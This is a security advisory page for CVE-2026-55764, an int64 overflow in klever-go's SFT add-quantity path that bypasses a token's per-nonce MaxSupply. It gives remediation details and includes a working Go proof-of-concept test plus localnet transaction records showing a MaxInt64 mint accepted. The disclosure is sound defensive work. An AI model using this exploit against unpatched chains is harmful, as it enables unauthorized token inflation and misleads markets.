CVE-2026-55764: klever-go SFT Add-quantity `int64` Overflow Bypasses Vulnerability
HIGHCVE-2026-55764 is a HIGH sft add-quantity `int64` overflow bypasses vulnerability (CWE-190: Integer Overflow or Wraparound) affecting klever-go libraries in the Go ecosystem. The issue involves sft add-quantity `int64` overflow bypasses a finite per-nonce maxsupply. Remediation is available by upgrading affected packages to version 1.7.19.
CVE-2026-55764 at a Glance
How to Fix CVE-2026-55764
To remediate this vulnerability, upgrade all affected klever-go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/klever-io/klever-go to 1.7.19
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/klever-io/klever-go
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55764, inspect your project dependencies for klever-go:
inspect dependencies for github.com/klever-io/klever-go
Analyze the terminal output to locate any version of klever-go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.19), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In klever-go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55764 Affected klever-go Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/klever-io/klever-go
|
Go |
< 1.7.19
|
1.7.19
|
References
Frequently Asked Questions
What is CVE-2026-55764?
Which klever-go versions are affected?
What version fixes CVE-2026-55764?
Is github.com/klever-io/klever-go affected?
What CWE is associated with CVE-2026-55764?
How can I check Go dependencies for CVE-2026-55764?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mrpp-v6pg-p54x",
"modified" : "2026-08-28T22:08:56Z",
"published" : "2026-08-28T22:08:56Z",
"aliases" : [ "CVE-2026-55764" ],
"summary" : "klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply",
"details" : "## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\n<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := &marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := &commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := &commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := &systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER exploit: Circulation=%d err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n</details>\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address —\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.)\n\n<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>\n\n```json\n{\n \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n \"blockNum\": 463,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"receipts\": [\n {\n \"assetId\": \"F05-2SDF/1\",\n \"assetType\": \"SemiFungible\",\n \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 1\n }\n ],\n \"contract\": [\n {\n \"type\": 11,\n \"typeString\": \"AssetTriggerContractType\",\n \"parameter\": {\n \"triggerType\": \"Mint\",\n \"assetId\": \"F05-2SDF\",\n \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"amount\": 1\n }\n }\n ]\n}\n```\n</details>\n\n<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>\n\n```json\n{\n \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n \"blockNum\": 484,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"receipts\": [\n {\n \"assetId\": \"F05-2SDF/1\",\n \"assetType\": \"SemiFungible\",\n \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 9223372036854775807\n }\n ],\n \"contract\": [\n {\n \"type\": 11,\n \"typeString\": \"AssetTriggerContractType\",\n \"parameter\": {\n \"triggerType\": \"Mint\",\n \"assetId\": \"F05-2SDF/1\",\n \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"amount\": 9223372036854775807\n }\n }\n ]\n}\n```\n</details>\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or\n check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting → gate behind the next activation flag.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/klever-io/klever-go"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.19"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
}, {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/klever-io/klever-go"
}, {
"type" : "WEB",
"url" : "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-190" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T22:08:56Z",
"nvd_published_at" : null
}
}